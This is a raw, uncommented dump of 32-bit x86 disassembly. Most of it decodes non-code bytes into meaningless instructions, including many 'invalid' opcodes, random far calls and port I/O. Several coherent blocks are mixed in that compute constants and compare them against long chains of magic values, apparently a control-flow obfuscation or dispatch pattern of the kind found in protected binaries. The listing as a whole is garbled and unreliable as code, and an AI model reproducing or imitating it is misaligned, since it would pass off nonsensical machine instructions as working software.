sbb edx, dword [eax]
movsd dword es:[edi], dword [esi]
int1
mov al, 0xce
int3
inc esp
nop
int3
pop ss
xor dword [0xe954baeb], edx
aad 0x81
into
retf
bound ebx, qword [esi]
push edi
inc esi
jecxz 0x67b29654
test eax, 0x22db66f8
and eax, 0x9051aa8b
int3
pop edx
adc eax, 0x1425089f
je 0x67b296ba
xchg edx, eax
jg 0x67b29688
cmp byte [edx], ah
mov ecx, 0xa1042abf
push ss
sbb edx, dword [edx]
xor byte [eax - 0x69], 0x8f
xor dh, al
mov al, byte [0xde205573]
jae 0x67b29711
and dh, bl
imul ebp, dword [edi + 0x4c], 0x247226ac
retf
sar dword [edx], 0xe5
xchg dword [ecx], esp
pop esp
mov bh, 0xfb
invalid
adc al, 0xa1
pop ss
test al, 0x47
aad 0xc8
pop esi
test eax, 0x4d977f4a
pop eax
invalid
jne 0x67b29c50
mov word [esi - 0x4819e112], gs
and eax, 0x143a98e8
dec ecx
call 0xbd74ad83
cmp bh, cl
outsd dx, dword [esi]
retf 0x7807
adc eax, 0x424d24b5
pop ds
cmp eax, 0xa0bc35e1
sbb eax, 0x2c861ec9
mov ch, 0xc4
inc ebx
lodsd eax, dword [esi]
mov cs, word [eax]
dec ebp
inc edi
xchg esp, eax
sub edx, esi
ficom word [ebp - 0x5d]
loope 0x67b2a2fa
test eax, 0x7f242930
dec edx
sub ecx, dword [ebx - 0x7821dc47]
and al, 0xf8
xor al, 0x3b
fstp qword [esi - 0x4614f5a9]
test eax, 0x6804ca
inc esp
pop ecx
enter 0x2369, 0x17
invalid
push ebx
sub al, byte [esi + edi]
xchg ecx, eax
sbb eax, 0x8692dcc
sbb al, 0xc5
push ebp
mov dl, 0xe8
push es
daa
ucomiss xmm0, dword [ebx + 0x2be00df7]
or bh, byte [ebp + 0x55]
wait
xor eax, 6
sbb ch, byte [esi + 0x1a]
mov ebx, 0x5e0e45b4
cmp eax, 0x90788c3d
int3
mov ecx, 0xf26f1bb4
lcall 0xd6d5, 0x13a143c2
outsd dx, dword [esi]
lcall 0xd6d5, 0x13a143c2
inc eax
les ecx, [0xe21c30b9]
mov byte es:[0x96d3fa1b], al
scasb al, byte es:[edi]
jns 0x67b2a844
test eax, 0x7890a309
adc al, 0xdd
int3
les esi, [ebx + 0x1c]
sbb al, 0x37
push eax
loope 0x67b2ae5a
aas
dec ecx
and cl, dl
test al, dl
cmp eax, 0xaf5e7618
call 0x90a3ab03
je 0x67b2aeb3
mov ah, 0x18
and eax, 0x3fe4b09f
mov ebx, 0xfa1ed9d5
invalid
invalid
je 0x67b2aea9
jl 0x67b2ae98
mov dword [ebp - 0x59ab7b60], 0x206937f3
add bh, dh
or eax, 0x90106e02
int3
cmp byte [edi - 0x1048f302], dl
xchg edi, eax
dec byte [edi + esi*4]
out dx, eax
lock add ebp, dword [ebp + 0x75126560]
sbb ebx, dword [ebx - 0x819d903]
test ebp, edi
mov bl, 0x60
in eax, dx
lcall 0xf9bb, 0xe1e45b92
test dword [ebp - 0x129f4c03], 0xe45b929a
loope 0x67b2ae70
stc
outsb dx, byte [esi]
pop ds
mov cl, 0xaf
jb 0x67b2ae97
sal byte [edx - 0x52], 0xd
inc ebx
pushfd
movsd dword es:[edi], dword [esi]
push ss
retf 0xfcf6
nop
jmp 0x67b2b404
nop
mov dword [ebp - 0x180], 0xc3aa8
mov dword [ebp - 0x17c], 0
mov dword [ebp - 0x188], 0xd610c
mov dword [ebp - 0x184], 0
mov eax, dword [ebp - 0x17c]
imul eax, dword [ebp - 0x188]
mov edx, eax
mov eax, dword [ebp - 0x184]
imul eax, dword [ebp - 0x180]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0x180]
mul dword [ebp - 0x188]
add ecx, edx
mov edx, ecx
mov dword [ebp - 0x190], eax
mov dword [ebp - 0x18c], edx
mov dword [ebp - 0x190], eax
mov dword [ebp - 0x18c], edx
mov eax, dword [ebp - 0x190]
xor eax, 0x9d5467e0
mov edx, dword [ebp - 0x18c]
xor dl, 0xa3
or eax, edx
je 0x67b2f74d
mov edx, 0x9d5467e0
mov eax, 0xa3
cmp edx, dword [ebp - 0x190]
sbb eax, dword [ebp - 0x18c]
jl 0x67b2f750
mov eax, dword [ebp - 0x190]
xor eax, 0xecaed
or eax, dword [ebp - 0x18c]
je 0x67b2d40a
mov edx, 0xecaed
mov eax, 0
cmp edx, dword [ebp - 0x190]
sbb eax, dword [ebp - 0x18c]
jl 0x67b2f750
mov eax, dword [ebp - 0x190]
xor eax, 0xd06a2
or eax, dword [ebp - 0x18c]
je 0x67b2c267
mov edx, 0xd06a2
mov eax, 0
cmp edx, dword [ebp - 0x190]
sbb eax, dword [ebp - 0x18c]
jl 0x67b2f750
mov eax, dword [ebp - 0x190]
xor eax, 0xad0b7
or eax, dword [ebp - 0x18c]
je 0x67b2d9eb
mov edx, 0xad0b7
mov eax, 0
cmp edx, dword [ebp - 0x190]
sbb eax, dword [ebp - 0x18c]
jl 0x67b2f750
mov eax, dword [ebp - 0x190]
xor eax, 0xa0409
or eax, dword [ebp - 0x18c]
je 0x67b2bc86
mov edx, 0xa0409
mov eax, 0
cmp edx, dword [ebp - 0x190]
sbb eax, dword [ebp - 0x18c]
jl 0x67b2f750
mov eax, dword [ebp - 0x190]
xor eax, 0x8f0ff
or eax, dword [ebp - 0x18c]
je 0x67b2eb8e
mov edx, 0x8f0ff
mov eax, 0
cmp edx, dword [ebp - 0x190]
sbb eax, dword [ebp - 0x18c]
jl 0x67b2f750
mov eax, dword [ebp - 0x190]
xor eax, 0x8dc23
or eax, dword [ebp - 0x18c]
je 0x67b2f16f
mov edx, 0x8dc23
mov eax, 0
cmp edx, dword [ebp - 0x190]
sbb eax, dword [ebp - 0x18c]
jl 0x67b2f750
mov eax, dword [ebp - 0x190]
xor eax, 0x5c788
or eax, dword [ebp - 0x18c]
je 0x67b2e5ad
mov edx, 0x5c788
mov eax, 0
cmp edx, dword [ebp - 0x190]
sbb eax, dword [ebp - 0x18c]
jl 0x67b2f750
mov eax, dword [ebp - 0x190]
xor eax, 0x5872c
or eax, dword [ebp - 0x18c]
je 0x67b2ce29
mov edx, 0x5872c
mov eax, 0
cmp edx, dword [ebp - 0x190]
sbb eax, dword [ebp - 0x18c]
jl 0x67b2f750
mov eax, dword [ebp - 0x190]
xor eax, 0x276c8
add al, byte [eax]
or eax, dword [ebp - 0x18c]
je 0x67b2dfcc
mov edx, 0x276c8
mov eax, 0
cmp edx, dword [ebp - 0x190]
sbb eax, dword [ebp - 0x18c]
jl 0x67b2f750
mov eax, dword [ebp - 0x190]
xor eax, 0x918
or eax, dword [ebp - 0x18c]
je 0x67b2b6a5
or dword [eax], eax
add byte [ebx], cl
test dword [esi + edi*8 - 1], esi
push dword [esp + ebx - 0x75]
test dword [eax - 2], esi
mov eax, dword [ebp - 0x190]
xor eax, 0x2273
or eax, dword [ebp - 0x18c]
je 0x67b2c848
invalid
jmp 0x67b2f750
jae 0x67b2b6b2
jl 0x67b2b68d
cli
sub dword [esi - 0x4c3da2d0], esi
loop 0x67b2b64c
mov ecx, 0xa8e4d65c
inc ecx
push 0xc04e79cd
mov dh, 0x23
pop edx
adc eax, dword [ebp + 0x4f]
xlatb
movsd dword es:[edi], dword [esi]
jb 0x67b2b64c
jge 0x67b2b712
push cs
mov ebp, ecx
sub bl, al
dec esp
jns 0x67b2b70c
push eax
add byte [ebx], dh
jo 0x67b2b67e
pop edi
rcl dword [edx + 0x43], 0x31
int3
lds esi, [ecx + ebx*8 + 0x19]
add eax, 0x55b82d86
invalid
sub eax, 0xbfc755b8
cmp bh, al
scasd eax, dword es:[edi]
inc eax
sbb byte [eax + 0x6ab67096], 0x18
or eax, 0x719d365
lea ebx, [esp - 0x19ca878b]
jge 0x67b2b72c
xor eax, 0x3bfc7de6
invalid
cmp ebx, esi
xlatb
sub al, 0x5e
cmc
rcr byte [edx], 0xb7
rol byte [esi], cl
jp 0x67b2b730
out dx, eax
out dx, al
das
retf 0x3b64
adc eax, 0x458874f2
ffreep st(2)
lea ebx, [ecx - 0x32]
daa
invalid
imul esp, esp, 0xffffff9a
fstp xword [edi]
invalid
and byte [ebp + 0x49811469], dh
in eax, 0x8a
dec edx
xchg edi, eax
nop
int3
jne 0x67b2c837
mov dword [0x45031ca2], eax
xor al, 0xf2
pop esi
jmp 0x67b2c878
xor edi, dword [ebx + edx*4 - 0x42d14c38]
test al, 0xf2
pop es
retf 0x72b7
mov al, byte [ecx + 0x1039ef9d]
stosb byte es:[edi], al
push edx
retf 0x8fa0
je 0x67b2cdf3
nop
int3
stosb byte es:[edi], al
das
or edx, ebp
cmpsd dword [esi], dword es:[edi]
sbb dword [esi + 0x3131e58c], 0x93ecb7a6
pop ebx
and al, 0x72
jae 0x67b2ce20
in al, 0xbf
adc byte [ebp + 0x6f53a09c], dh
push eax
fsub qword [edx]
xchg byte [0xa32ee65b], ch
mov ah, 0x60
cmp edx, dword [eax - 0x44]
wait
pop ebx
inc edx
mov edx, 0x8b36941d
test al, 2
mov ebp, 0xbbab445e
xchg esp, eax
inc esi
mov edx, 0xc5e6dc27
lea eax, [edi + 0x6a88d4c]
mov ebx, 0x57e8b31a
dec edx
mov byte [eax], bl
movsx ecx, cl
stosd dword es:[edi], eax
mov esp, dword [edi + esi*4 + 3]
sbb eax, 0x74784f1
mov dl, 0xfd
adc dh, byte [eax - 0x78336fdd]
loope 0x67b2ce3a
inc ecx
imul dl
or dword [edi + 0x57], 0x2b
jp 0x67b2ce22
scasb al, byte es:[edi]
retf
and eax, dword [eax]
add byte [ebx], ah
xor byte [edi - 0x375e5a0d], ah
mov eax, dword [0x7b8895e9]
ficomp dword [ebx + 0x60]
and esi, dword [eax]
cmpsd dword [esi], dword es:[edi]
rep movsd dword es:[edi], dword [esi]
mov eax, dword [0x95e9a1c8]
mov byte [ebx - 0x26], bh
pop ebx
pushal
inc ebp
push ebp
or dh, al
pop edi
leave
sbb bh, dh
test eax, 0xee25a87d
jbe 0x67b2d407
les ebp, [ebx - 0xddf6eee]
adc eax, 0x6b2d6b8
test eax, 0x1139bf6d
not byte [edx + esi*8 - 0x2068665a]
sub bl, byte [ebx + 0x2f2c0ede]
dec ebp
js 0x67b2d450
jl 0x67b2d448
stc
mov eax, 0x57aa7279
pop ds
inc ecx
push ebx
int3
movsd dword es:[edi], dword [esi]
in eax, 0x3f
sub byte [ebp + 0x2cd016bb], 0xfb
das
aas
adc dword ss:[esi - 0x55], eax
leave
or bl, byte [edx + 0x2eefc3be]
sti
shr bl, 0xd3
lcall 0x275f, 0x1daa5c1
xchg edi, eax
out dx, eax
bound edx, qword [ebx + 0x3f]
fsubr qword [ebx]
inc ecx
pop eax
bound edx, qword [edi + 0x6ebab381]
mov al, byte [0x64e05382]
adc al, 0x59
xchg byte [esi + 0x38], dh
cmp ah, byte [ebp + 0x3b]
test dword [eax], 0x1924a4
sahf
pop ds
sbb esp, ebx
ljmp 0x702
push edx
and ch, cl
sbb esp, esp
nop
cmp al, 0x31
aad 0x14
retf
sub al, byte [ecx + ebx*4 - 0x62]
jns 0x67b2dfa6
nop
int3
das
sbb bh, byte [edi + 0x4b]
push ecx
inc ebp
sbb esi, edi
sbb byte [ebp + 0x539c039f], ah
mov edi, 0xf359da14
mov al, 0x76
dec eax
xchg edi, eax
xor ecx, dword [edx + 0x4b]
add dl, byte [edx - 0x320b158d]
mov dl, cl
cmp byte [edi], ah
into
or al, 0x9e
cld
cli
fld xword [esi - 0x21]
mov dl, 0x16
mov byte [edx], dh
jecxz 0x67b2dfc3
add al, 0xed
inc edi
inc ecx
push es
fst dword [ecx + 0x4dfa4f66]
lahf
cli
ja 0x67b2e02d
cmp al, 0xbd
inc edx
test eax, 0x7c33af9c
mov dh, ah
xor edi, dword [edx + ecx*4 - 0xc]
in eax, 0xc8
dec edx
push ss
insb byte es:[edi], dx
sub byte [esi - 0x5062f2f1], 0xb1
xchg ecx, eax
test eax, 0x874b5a14
mov word ds:[eax - 0x336f85b9], es
adc edx, ebp
xor dword [esi + 0x65], edx
add eax, 0xf2d3be3
jp 0x67b2dfbf
int3
push esi
add eax, 0xf2d3be3
loop 0x67b2e013
in al, 0xae
and dword [ebx], ecx
xor ebp, esi
jge 0x67b2e08e
frstor dword gs:[edi - 0x1a]
lea eax, [edx + edx*8 - 0x34a4b77c]
and al, 7
sbb al, 0x44
sbb al, 0x71
cld
jae 0x67b2e067
add ebx, edi
inc ebx
cmp dl, byte [edx + 0x7918ed03]
push 0x45
in eax, dx
jp 0x67b2e0e6
jle 0x67b2e033
retf 0x8ec7
invalid
stosb byte es:[edi], al
mov ah, 0xeb
mov al, byte [0x74a8cc90]
xor dword [ecx - 0x3e], ecx
call 0xd91787ba
sub byte [esi + 0xf3b07d2], dh
outsd dx, dword [esi]
aas
leave
mov byte [ecx], ah
outsd dx, dword [esi]
jne 0x67b2e0a4
lodsb al, byte [esi]
imul ebp, dword [esi + 0x3e], 0xffffffea
push 0xd00f48ef
xchg ebx, eax
daa
sub ebx, dword [edx + 0xf88b7cd]
xchg esi, eax
pushfd
cli
int3
jmp 0x67b2e112
mov cl, 0x93
cdq
invalid
sub dword [ebx - 0x70], 0xb87b269f
invalid
pop edi
lodsd eax, dword [esi]
mov al, 0x40
out 0x90, eax
int3
or ebx, edi
inc ecx
mov dh, 0x49
sal esp, 1
and al, byte [eax]
in eax, 0xcb
pushal
bound esi, qword [eax + 0x34]
xchg byte [edi + 0x29], ah
jnp 0x67b2ebc4
pushfd
mov dh, 0xcc
sti
jns 0x67b2eb82
les ecx, [ebx - 0xeeb674c]
pop edx
inc edi
pop ebp
test al, 0xea
mov al, 0x8e
insb byte es:[edi], dx
mov dword [0x5af8a661], eax
cmp eax, 0x11b465dc
cdq
in al, dx
push ecx
adc dword [ebp - 0x63], ecx
inc ebx
xor al, 7
invalid
or al, byte [eax]
dec esi
clc
lodsd eax, dword [esi]
cmp al, 0xc3
push ebp
push esi
inc ebp
sbb al, byte [eax]
dec esi
shl dword [ebx - 0x18ab94cb], 0x87
invalid
nop
jmp 0x67b2f751
nop
movzx eax, word [ebp - 0xa]
cmp ax, word [ebp - 0x2a]
jne 0x67b21a19
nop
add dword [ebp + 8], 2
mov eax, dword [ebp + 8]
movzx eax, word [eax]
mov word [ebp - 0xa], ax
cmp word [ebp - 0xa], 0
jne 0x67b3531d
mov dword [ebp - 0x1f8], 0xc335c
mov dword [ebp - 0x1f4], 0
mov dword [ebp - 0x200], 0x59195
mov dword [ebp - 0x1fc], 0
mov eax, dword [ebp - 0x1f4]
imul eax, dword [ebp - 0x200]
mov edx, eax
mov eax, dword [ebp - 0x1fc]
imul eax, dword [ebp - 0x1f8]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0x1f8]
mul dword [ebp - 0x200]
add ecx, edx
mov edx, ecx
mov dword [ebp - 0x208], eax
mov dword [ebp - 0x204], edx
mov dword [ebp - 0x208], eax
mov dword [ebp - 0x204], edx
mov eax, dword [ebp - 0x208]
xor eax, 0xf0fd008c
mov edx, dword [ebp - 0x204]
xor edx, 0x43
or eax, edx
je 0x67b35311
mov edx, 0xf0fd008c
mov eax, 0x43
cmp edx, dword [ebp - 0x208]
sbb eax, dword [ebp - 0x204]
jl 0x67b35317
mov eax, dword [ebp - 0x208]
xor eax, 0xf3412
or eax, dword [ebp - 0x204]
je 0x67b306a7
mov edx, 0xf3412
mov eax, 0
cmp edx, dword [ebp - 0x208]
sbb eax, dword [ebp - 0x204]
jl 0x67b35317
mov eax, dword [ebp - 0x208]
xor eax, 0xe53b3
or eax, dword [ebp - 0x204]
je 0x67b335af
mov edx, 0xe53b3
mov eax, 0
cmp edx, dword [ebp - 0x208]
sbb eax, dword [ebp - 0x204]
jl 0x67b35317
mov eax, dword [ebp - 0x208]
xor eax, 0xcfd94
or eax, dword [ebp - 0x204]
je 0x67b31269
mov edx, 0xcfd94
mov eax, 0
cmp edx, dword [ebp - 0x208]
sbb eax, dword [ebp - 0x204]
jl 0x67b35317
mov eax, dword [ebp - 0x208]
xor eax, 0xaee52
or eax, dword [ebp - 0x204]
je 0x67b31e2b
mov edx, 0xaee52
mov eax, 0
cmp edx, dword [ebp - 0x208]
sbb eax, dword [ebp - 0x204]
jl 0x67b35317
mov eax, dword [ebp - 0x208]
xor eax, 0xa6f2c
or eax, dword [ebp - 0x204]
je 0x67b33b90
mov edx, 0xa6f2c
mov eax, 0
cmp edx, dword [ebp - 0x208]
sbb eax, dword [ebp - 0x204]
jl 0x67b35317
mov eax, dword [ebp - 0x208]
xor eax, 0x9ee43
or eax, dword [ebp - 0x204]
je 0x67b32fce
mov edx, 0x9ee43
mov eax, 0
cmp edx, dword [ebp - 0x208]
sbb eax, dword [ebp - 0x204]
jl 0x67b35317
mov eax, dword [ebp - 0x208]
xor eax, 0x8f007
or eax, dword [ebp - 0x204]
je 0x67b34752
mov edx, 0x8f007
mov eax, 0
cmp edx, dword [ebp - 0x208]
sbb eax, dword [ebp - 0x204]
jl 0x67b35317
mov eax, dword [ebp - 0x208]
xor eax, 0x769b1
or eax, dword [ebp - 0x204]
je 0x67b300c6
mov edx, 0x769b1
mov eax, 0
cmp edx, dword [ebp - 0x208]
sbb eax, dword [ebp - 0x204]
jl 0x67b35317
mov eax, dword [ebp - 0x208]
xor eax, 0x764fc
or eax, dword [ebp - 0x204]
je 0x67b30c88
mov edx, 0x764fc
mov eax, 0
cmp edx, dword [ebp - 0x208]
sbb eax, dword [ebp - 0x204]
jl 0x67b35317
mov eax, dword [ebp - 0x208]
xor eax, 0x6a02e
or eax, dword [ebp - 0x204]
je 0x67b34171
mov edx, 0x6a02e
mov eax, 0
cmp edx, dword [ebp - 0x208]
sbb eax, dword [ebp - 0x204]
jl 0x67b35317
mov eax, dword [ebp - 0x208]
xor eax, 0x2c07b
or eax, dword [ebp - 0x204]
je 0x67b3184a
mov edx, 0x2c07b
mov eax, 0
cmp edx, dword [ebp - 0x208]
sbb eax, dword [ebp - 0x204]
jl 0x67b35317
mov eax, dword [ebp - 0x208]
xor eax, 0x21001
or eax, dword [ebp - 0x204]
je 0x67b34d33
mov edx, 0x21001
mov eax, 0
cmp edx, dword [ebp - 0x208]
sbb eax, dword [ebp - 0x204]
jl 0x67b35317
mov eax, dword [ebp - 0x208]
xor eax, 0x205d0
or eax, dword [ebp - 0x204]
je 0x67b3240c
mov edx, 0x205d0
mov eax, 0
cmp edx, dword [ebp - 0x208]
sbb eax, dword [ebp - 0x204]
jl 0x67b35317
mov eax, dword [ebp - 0x208]
xor eax, 0x7525
or eax, dword [ebp - 0x204]
je 0x67b329ed
mov eax, dword [ebp - 0x208]
xor eax, 0x1fe34
or eax, dword [ebp - 0x204]
jne 0x67b35317
invalid
pop esp
jle 0x67b2fadd
bnd ret 0x4549
sar dword [ebp - 0x64944bbb], cl
push ecx
invalid
neg byte [edi - 0x10]
mov dh, 0x16
dec ebx
and esi, ecx
cwde
imul ecx
mov ebp, 0x7d46d898
out 0xf7, al
add ecx, dword [ebx + 0x5ae2253f]
or al, byte [ecx - 0x34]
bound ecx, qword [ecx + 0x44651236]
pop ds
arpl dx, dx
loope 0x67b3010e
jge 0x67b30061
cmp byte [ebx + 0x3d9a7dec], al
mov eax, dword [0xa48babfb]
ficom dword [ebp + 0xfdab913]
mov dword [ecx + 0x3ebed8d0], esi
nop
int3
test byte [ebp - 0x38], bh
push esp
aas
arpl word [ecx + 0x62], sp
neg ch
insd dword es:[edi], dx
salc
sahf
jge 0x67b30080
push eax
in al, 0xa
pop ebp
inc ebx
ja 0x67b300e9
or byte [edi - 0x51bcdabe], dl
or byte [edi + ebx*2 + 0x51], bh
xchg ebp, eax
loopne 0x67b300f6
cli
push edx
add eax, 0xb0a27d09
add eax, 0xb0a27d09
in al, dx
wait
sub bh, bl
inc edi
in eax, dx
fadd st(7)
push edx
jp 0x67b30107
mov dl, 6
cmp ecx, dword [ebx - 0x28d67952]
rcl al, cl
jb 0x67b300ec
inc ecx
mov ebx, 0xfe17fd29
outsb dx, byte [esi]
loopne 0x67b30120
invalid
sal ebx, 1
int3
inc ebp
mov edi, 0xabbdb4d5
invalid
push edx
nop
int3
mov ds, word [ebx]
loopne 0x67b30713
mov dl, 0xb3
jnp 0x67b3069f
fcompi st(4)
ljmp 0x9367
ror dword [edx - 0x795b533], cl
push esp
mov eax, dword [0x5a34bd06]
cmpsb byte cs:[esi], byte es:[edi]
mov esi, 0xbff838a4
pop esi
ljmp 0x1f81
and esi, dword [ebp - 0x3d]
push es
add dword [ecx - 0x3d915279], ecx
adc ebx, dword [edx - 0x425db5d3]
ret
movsb byte es:[edi], byte [esi]
dec ecx
add al, 0x2b
movsb byte es:[edi], byte [esi]
retf 0x9ca7
out dx, eax
fnstenv [ebx - 8]
aad 0x3d
mov edx, 0x93b170a9
pushal
jle 0x67b312cd
sbb byte [eax - 0x48626960], dl
jnp 0x67b31231
dec esp
dec edi
in eax, 0x29
xchg esi, eax
ret 0xa9d0
lcall 0x862, 0xa3f0a398
xchg ecx, eax
mov dword [0x2848348f], eax
stc
xor al, 0x48
sub cl, bh
xor dword [edx + 0x1d], 0x3ec97e1e
sub edi, 0xffffff95
mov ecx, 0x2df9195d
xchg ebx, eax
stosb byte es:[edi], al
btr dword [esi - 0x78d4e6d4], esp
sbb esp, eax
aam 8
xchg byte [ebx], cl
aam 0x9a
and dword [eax - 0x22], edx
and ecx, dword [edi]
dec ebx
lcall 0x4b0f, 0x23de5021
ficom word [eax]
jecxz 0x67b312d7
push esp
ja 0x67b312fa
push ebp
add byte [esi + 0x18a16919], 0x40
jmp 0x5d2f0cd4
push ecx
add al, 0x92
ret 0x3c8f
sbb byte [ebx + 8], al
jmp 0xeacb5cdc
jbe 0x67b31e7f
lodsd eax, dword [esi]
mov dword [0x5e099bd7], eax
in al, 0xd6
fistp dword [ebx + ebp*4 - 0x34c376c4]
loope 0x67b31dd7
out dx, eax
or byte [ecx], bh
xchg byte [edx + 0x5461c2fd], dl
xor eax, 0x2e73eb4c
leave
jo 0x67b31eb5
sub al, 0x7b
sbb byte [edi - 0x6a], cl
invalid
iretd
rol dword [edi], 0x84
clc
cmp al, 0xc5
hlt
or bl, byte [eax + 0x4f]
outsd dx, dword [esi]
jmp 0x67b31e91
cdq
cmp byte [ebx + 0x7a59d3eb], 0x28
sbb dh, byte [eax + eax*2]
add dword [ebx], eax
inc esp
sbb dword [eax + ebp*2 + 0x47], eax
neg byte [eax - 0x6b]
adc edi, dword [ebx]
cli
lea ebx, [esi + esi*4 + 0x658b4477]
mov al, 0x6a
ret 0xa9d0
or eax, 0xc07d815d
lahf
lds edx, [ecx]
not byte [eax - 0x7ce58be0]
into
dec al
pop ecx
push 0xfffffffffffffffe
invalid
xchg byte [esi - 0x17], ch
dec edi
jl 0x67b3296c
adc dword [edx + ebp*8 + 0x1aa81e5f], ebx
mov dh, 0xcd
xchg esi, eax
mov edx, dword [eax + 0x292be9cc]
add byte [eax], al
pop es
sbb edx, edi
bound ebx, qword [ebp + 0x54abe4f]
mov al, 0x3a
and dword [edi - 0x748f38a5], 0x2e
inc esp
scasb al, byte es:[edi]
jbe 0x67b329d5
push es
cmp al, 0x29
cmc
pop es
nop
invalid
mov dl, 0x3d
xchg esp, eax
mov ebp, 0x31b5eb4f
adc cl, bh
int1
pop ebp
scasd eax, dword es:[edi]
invalid
adc bh, byte [edx + 0x7d327576]
xor byte [ebx], al
in al, dx
sbb dword [ebx + 0x40], ebx
inc edx
xor bh, 0x4b
outsd dx, dword [esi]
xor dword [ecx], ebx
mov dl, 0xfa
aaa
xchg edx, eax
push 0xdc001c80
mov dh, 0x86
scasd eax, dword es:[edi]
pop edi
xor ah, byte [eax]
popal
wait
test eax, 0x8a7344ae
test edx, 0x6fd96f92
hlt
xor al, 0xd6
cdq
clc
xor al, 0x16
lcall 0xe00a, 0x71a3fe2a
mov dword [0xd52577b4], eax
ljmp 0x2b0
mov ebp, 0xae206c82
mov dword [0x21587fb5], eax
add esi, ebx
call 0xc1679ee1
das
sub al, 0x25
ja 0x67b341bf
or dword [ecx], ebp
xchg edx, eax
push eax
stosd dword es:[edi], eax
mov cs, eax
out dx, eax
xchg edx, eax
mov esi, 0xaab76362
mov dl, 0x1f
add ecx, dword [ecx - 0xa1eac81]
int 0x67
nop
int3
popfd
movsb byte es:[edi], byte [esi]
pop eax
add ebp, dword [ebx - 8]
movsb byte es:[edi], byte [esi]
sub bl, al
cmp dword [eax], esp
add dword [ebp - 0x24ee968f], edx
and eax, 0xb0374875
jle 0x67b341db
push edx
dec ecx
sbb eax, 0x728705fb
jge 0x67b3413a
jb 0x67b3420e
test al, 0xf
salc
das
sbb dword [0xa82fdd30], eax
cmp al, ah
getsec
mov ebp, 0x50b71748
pop es
lahf
xchg esi, eax
test byte [esi], bh
imul eax, dword [ecx - 0x21], 0x2b58f170
push esp
inc ebx
xchg dword [eax], ebx
aas
pushfd
stosb byte es:[edi], al
outsb dx, byte [esi]
sub al, 0x8b
sbb byte [eax], dl
lea edx, [edx + 0x42]
invalid
inc edx
dec ebx
popfd
div byte [ebx + 0x6a]
sal dword [esi - 0x4ec474a9], cl
pop esp
xchg esi, eax
lea esp, [eax - 0x79]
div dword [edi - 0x7d]
nop
int3
mov esp, 0xc19d9c5c
adc eax, 0xe2cf1ec7
jnp 0x67b34171
loop 0x67b3418f
or byte [edi - 0x25], al
add byte [ebx + 0x1a], cl
xor byte [eax - 0xadb70d1], dh
fnsave dword [edi]
dec ebp
mov ah, 0x8c
fsubrp st(5)
mov ebx, 0xc5ce5a91
mov eax, dword [0x9305b59]
sub dh, 0x23
ret
sahf
xchg ebp, eax
mov ch, byte [ebx + 0x66]
invalid
insb byte es:[edi], dx
push ebx
or ebx, dword [ebx + 0xd]
xchg ebx, eax
cmpsd dword [esi], dword es:[edi]
cld
fld xword [ecx + 0x68e877cb]
ljmp 0xa19a
inc ecx
cmp al, 0x92
rcr cl, 1
add dword [ebp + 0x7df9471c], ecx
invalid
nop
jmp 0x67b536db
nop
jmp 0x67b536db
movzx eax, word [ebp - 0xa]
cmp ax, word [ebp - 0x4a]
je 0x67b3e564
mov dword [ebp - 0x168], 0x36de4
mov dword [ebp - 0x164], 0
mov dword [ebp - 0x170], 0xca242
mov dword [ebp - 0x16c], 0
mov ecx, dword [ebp - 0x168]
mov ebx, dword [ebp - 0x164]
mov eax, dword [ebp - 0x170]
mov edx, dword [ebp - 0x16c]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x178], eax
mov dword [ebp - 0x174], edx
mov eax, dword [ebp - 0x178]
xor eax, 0x101026
or eax, dword [ebp - 0x174]
je 0x67b3e558
mov edx, 0x101026
mov eax, 0
cmp edx, dword [ebp - 0x178]
sbb eax, dword [ebp - 0x174]
jl 0x67b3e55e
mov eax, dword [ebp - 0x178]
xor eax, 0xe3077
or eax, dword [ebp - 0x174]
je 0x67b3930d
mov edx, 0xe3077
mov eax, 0
cmp edx, dword [ebp - 0x178]
sbb eax, dword [ebp - 0x174]
jl 0x67b3e55e
mov eax, dword [ebp - 0x178]
xor eax, 0xda89d
or eax, dword [ebp - 0x174]
je 0x67b3aa91
mov edx, 0xda89d
mov eax, 0
cmp edx, dword [ebp - 0x178]
sbb eax, dword [ebp - 0x174]
jl 0x67b3e55e
mov eax, dword [ebp - 0x178]
xor eax, 0xba21f
or eax, dword [ebp - 0x174]
je 0x67b36fc7
mov edx, 0xba21f
mov eax, 0
cmp edx, dword [ebp - 0x178]
sbb eax, dword [ebp - 0x174]
jl 0x67b3e55e
mov eax, dword [ebp - 0x178]
xor eax, 0xb0fb2
or eax, dword [ebp - 0x174]
je 0x67b3b653
mov edx, 0xb0fb2
mov eax, 0
cmp edx, dword [ebp - 0x178]
sbb eax, dword [ebp - 0x174]
jl 0x67b3e55e
mov eax, dword [ebp - 0x178]
xor eax, 0xa6325
or eax, dword [ebp - 0x174]
je 0x67b3c215
mov edx, 0xa6325
mov eax, 0
cmp edx, dword [ebp - 0x178]
sbb eax, dword [ebp - 0x174]
jl 0x67b3e55e
mov eax, dword [ebp - 0x178]
xor eax, 0x9f1d5
or eax, dword [ebp - 0x174]
je 0x67b398ee
mov edx, 0x9f1d5
mov eax, 0
cmp edx, dword [ebp - 0x178]
sbb eax, dword [ebp - 0x174]
jl 0x67b3e55e
mov eax, dword [ebp - 0x178]
xor eax, 0x9876d
or eax, dword [ebp - 0x174]
je 0x67b3d3b8
mov edx, 0x9876d
mov eax, 0
cmp edx, dword [ebp - 0x178]
sbb eax, dword [ebp - 0x174]
jl 0x67b3e55e
mov eax, dword [ebp - 0x178]
xor eax, 0x6c878
or eax, dword [ebp - 0x174]
je 0x67b35e24
mov edx, 0x6c878
mov eax, 0
cmp edx, dword [ebp - 0x178]
sbb eax, dword [ebp - 0x174]
jl 0x67b3e55e
mov eax, dword [ebp - 0x178]
xor eax, 0x67147
or eax, dword [ebp - 0x174]
je 0x67b37b89
mov edx, 0x67147
mov eax, 0
cmp edx, dword [ebp - 0x178]
sbb eax, dword [ebp - 0x174]
jl 0x67b3e55e
mov eax, dword [ebp - 0x178]
xor eax, 0x64213
or eax, dword [ebp - 0x174]
je 0x67b3c7f6
mov edx, 0x64213
mov eax, 0
cmp edx, dword [ebp - 0x178]
sbb eax, dword [ebp - 0x174]
jl 0x67b3e55e
mov eax, dword [ebp - 0x178]
xor eax, 0x5f47b
or eax, dword [ebp - 0x174]
je 0x67b3df7a
mov edx, 0x5f47b
mov eax, 0
cmp edx, dword [ebp - 0x178]
sbb eax, dword [ebp - 0x174]
jl 0x67b3e55e
mov eax, dword [ebp - 0x178]
xor eax, 0x5adcf
or eax, dword [ebp - 0x174]
je 0x67b3d999
mov edx, 0x5adcf
mov eax, 0
